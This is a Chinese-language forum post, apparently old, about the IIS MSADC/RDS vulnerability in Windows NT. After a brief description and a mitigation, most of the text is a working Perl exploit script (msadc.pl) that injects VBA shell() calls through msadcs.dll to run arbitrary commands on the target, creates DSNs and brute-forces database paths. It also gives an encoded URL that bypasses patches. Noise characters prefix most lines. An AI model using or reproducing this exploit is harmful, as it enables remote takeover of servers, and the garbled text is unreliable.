IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
T.2ZBG~|[ `p1DaV 涉及程序:
S.hC$0vrj Microsoft NT server
<m1sSghg e?=elN 描述:
n;qz^HXEJ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
L=m:/qQL a2X h>{ 详细:
]#5^&w)' 如果你没有时间读详细内容的话,就删除:
5[<F_"x c:\Program Files\Common Files\System\Msadc\msadcs.dll
OpqNEo\ 有关的安全问题就没有了。
nuxd S, i6PE6>
1/ 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
j6og3.H- PY-+ Bf 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
PI63RH8e 关于利用ODBC远程漏洞的描述,请参看:
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0Ve%.k http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm %YCd%lAe, VF=Z` 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
<`+zvUx^? http://www.microsoft.com/security/bulletins/MS99-025faq.asp f?0D%pxc}& 17i$8 这里不再论述。
y;:]F|%< ((cb4IX 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
6Hn)pD#U lC2?sD$ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
P}l#VJWp 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
7V'Le2T' 6V
P)$h8 B.6`cM^ #将下面这段保存为txt文件,然后: "perl -x 文件名"
phS>T ]v GgJ< #!perl
@?d?e+B #
{U6"]f% # MSADC/RDS 'usage' (aka exploit) script
pg!`SxFD #
1I
\tu # by rain.forest.puppy
_NT[
~M_Q #
~lk@6{`l|1 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
ALAL( f` # beta test and find errors!
6g|#ho1Bbs @p6@a6N% use Socket; use Getopt::Std;
%yvA getopts("e:vd:h:XR", \%args);
/Zx8nx'{V 6qDfcs print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
| lE-&a$xd _25d%Ne0 if (!defined $args{h} && !defined $args{R}) {
pI5_Hg print qq~
6WO7+M;z Usage: msadc.pl -h <host> { -d <delay> -X -v }
:])JaS^ -h <host> = host you want to scan (ip or domain)
6e/7'TYwT -d <seconds> = delay between calls, default 1 second
8sWr\&! -X = dump Index Server path table, if available
yl]UUBcQ -v = verbose
]< +3Vw -e = external dictionary file for step 5
e2bLkb3c FW5}oD(H Or a -R will resume a command session
yp?w3|`4; =%L@WVbM ~; exit;}
9#fp_G;= n.I2$._(b $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
?$16A+ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
EIPnm%{1 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
c"qPTjY if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
6+)x7g1PL $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
shNE~TA if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
k{{hZ/om wn1,
EhHt if (!defined $args{R}){ $ret = &has_msadc;
*(p7NYf1 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
NhCAv+ s,kU*kHn print "Please type the NT commandline you want to run (cmd /c assumed):\n"
,S0UY):( A . "cmd /c ";
Vq U|kv
$in=<STDIN>; chomp $in;
yYk|YX(7U $command="cmd /c " . $in ;
;.AV;C" wsI5F&R, if (defined $args{R}) {&load; exit;}
?CFoe$M tJz^DXqAc print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
{!y<<u1 &try_btcustmr;
Tm\OYYyk PK}vh% print "\nStep 2: Trying to make our own DSN...";
?^F5(B[+Y &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
EU9[F b] )6 k1 P print "\nStep 3: Trying known DSNs...";
?lyltAxs' &known_dsn;
8J):\jAZ6 *V -ds8AQ print "\nStep 4: Trying known .mdbs...";
]$|st^Q &known_mdb;
S
QSA%B$< _{mJ.1)V; if (defined $args{e}){
~hzEKvs print "\nStep 5: Trying dictionary of DSN names...";
)\"I*Jwir &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
q^%5HeV 2 ]xYa yN!n print "Sorry Charley...maybe next time?\n";
&8afl"_~ exit;
s_v}=C^ OiF ]_" ##############################################################################
RJLFj +xq=<jy sub sendraw { # ripped and modded from whisker
9GE]<v,_[ sleep($delay); # it's a DoS on the server! At least on mine...
d9|T=R my ($pstr)=@_;
w_GLC%|7 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
P|8e%P die("Socket problems\n");
;&q]X]bJ if(connect(S,pack "SnA4x8",2,80,$target)){
Ym`1<2mq\ select(S); $|=1;
W}?s^ print $pstr; my @in=<S>;
rXuAixu!t select(STDOUT); close(S);
.c03}RTC^ return @in;
GeVc\$K- } else { die("Can't connect...\n"); }}
UC(9Dz $^ubo5% ##############################################################################
ij!*CTG 7G2vYKC' sub make_header { # make the HTTP request
I X?@~' my $msadc=<<EOT
egbb1+tY POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
zG<0CZQ8 User-Agent: ACTIVEDATA
"!^c Host: $ip
'cYQ?; Content-Length: $clen
C?S~L5a#oC Connection: Keep-Alive
u,\xok" _Po#ZGm~ ADCClientVersion:01.06
!bieo'c Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
Q+lbN ;NBT 4 --!ADM!ROX!YOUR!WORLD!
Ir^ BC!<2> Content-Type: application/x-varg
^h`!f vyH Content-Length: $reqlen
\1~I04'= ;}f6Y['z EOT
o3fR3P%$ ; $msadc=~s/\n/\r\n/g;
gn364U a return $msadc;}
M{G$Pk8[ 6z PV'~q ##############################################################################
o;%n,S8J|^ unpfA#&!" sub make_req { # make the RDS request
YyG~#6aCh my ($switch, $p1, $p2)=@_;
~ J %m my $req=""; my $t1, $t2, $query, $dsn;
A=W5W5l(> \ x:_*`fU if ($switch==1){ # this is the btcustmr.mdb query
Up'."w_zE $query="Select * from Customers where City=" . make_shell();
XQ4dohGCP $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
SK}HXG{? $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
2=Jmi?k B
JU*`Tx elsif ($switch==2){ # this is general make table query
9Y\F53p&j $query="create table AZZ (B int, C varchar(10))";
aam1tm#Q $dsn="$p1";}
JTjzT2`A. 8.PXTOhVL elsif ($switch==3){ # this is general exploit table query
Z5yt]-WN& $query="select * from AZZ where C=" . make_shell();
T4l-sJ'| $dsn="$p1";}
k -io$ yB|]LYh elsif ($switch==4){ # attempt to hork file info from index server
BSjbnnW}" $query="select path from scope()";
8Er[M $dsn="Provider=MSIDXS;";}
7G?Ia%u F>TYVxQ elsif ($switch==5){ # bad query
$+iu\MuX $query="select";
zz[g{[SN $dsn="$p1";}
gW/QFZjY 2Qw)-EB $t1= make_unicode($query);
v]l&dgoT $t2= make_unicode($dsn);
\l>qY(gu $req = "\x02\x00\x03\x00";
G[y&`Qc)G $req.= "\x08\x00" . pack ("S1", length($t1));
]<Z&=0i# 9 $req.= "\x00\x00" . $t1 ;
-aC!0O y` $req.= "\x08\x00" . pack ("S1", length($t2));
t7sUtmq
$req.= "\x00\x00" . $t2 ;
~>.awu+o| $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
neK*jdaP return $req;}
,o4r,.3[s S$Qr@5 ##############################################################################
4RlnnXY SIj6.RK sub make_shell { # this makes the shell() statement
iZsau2K return "'|shell(\"$command\")|'";}
#/\pUK~km |+>%o.M&i ##############################################################################
m9v"v:Pw 2LtU;}7s sub make_unicode { # quick little function to convert to unicode
$,p.=j;P my ($in)=@_; my $out;
>N :|Km\ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
*;>V2!N=U return $out;}
nomu$|I InAU\! ew ##############################################################################
fmatc#G WT;.>F sub rdo_success { # checks for RDO return success (this is kludge)
XCKY
xv& my (@in) = @_; my $base=content_start(@in);
D>psh-,1 if($in[$base]=~/multipart\/mixed/){
V<
2IIH5^ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
0F-mROC=F return 0;}
]JkpR aP$ -lnTYxo+]^ ##############################################################################
A/ox#(!v 0G+L1a- sub make_dsn { # this makes a DSN for us
G~Sy&XJuq my @drives=("c","d","e","f");
aOaF&6'j print "\nMaking DSN: ";
Lw!?T(SK foreach $drive (@drives) {
K<Yn_G print "$drive: ";
mrhsKmH my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
_%AJmt} "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
Wm];p qN . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
a15,'v$O $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
Y*]l|)a6_] return 0 if $2 eq "404"; # not found/doesn't exist
& y#y>([~ if($2 eq "200") {
9_g>BI;"8 foreach $line (@results) {
-wPuml!hZ| return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
S7@ZtFf } return 0;}
_|Y.!ZRYP !7kAJG g ##############################################################################
:Vu7,o IM l9\U sub verify_exists {
b(+w.R(+Ti my ($page)=@_;
&!H~bzg my @results=sendraw("GET $page HTTP/1.0\n\n");
g~bf! return $results[0];}
BH.:_Qrbh[ ^bZ<9} ##############################################################################
k~'?"' l5":[C$ sub try_btcustmr {
z7NGpA( my @drives=("c","d","e","f");
yVu^
> my @dirs=("winnt","winnt35","winnt351","win","windows");
PV5TG39qQ U*` foreach $dir (@dirs) {
*K0j5dx print "$dir -> "; # fun status so you can see progress
,f-T1v" foreach $drive (@drives) {
#QJ4o_ print "$drive: "; # ditto
EF*oPn0| $reqlen=length( make_req(1,$drive,$dir) ) - 28;
w>/pQ6=OFR $reqlenlen=length( "$reqlen" );
Wwa41z $clen= 206 + $reqlenlen + $reqlen;
t?3{s\z 8+ )]0[`iLe my @results=sendraw(make_header() . make_req(1,$drive,$dir));
]4LT# if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
Yc.
~qmG/z else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
\N'hbT= R{2GQB ##############################################################################
es*_Oo1 s>9z+;~! sub odbc_error {
%l9WZ*yZ`2 my (@in)=@_; my $base;
F3H:I"4 my $base = content_start(@in);
_oMs
`"4K if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
$=@9 D,R $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
7(nz<z p $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
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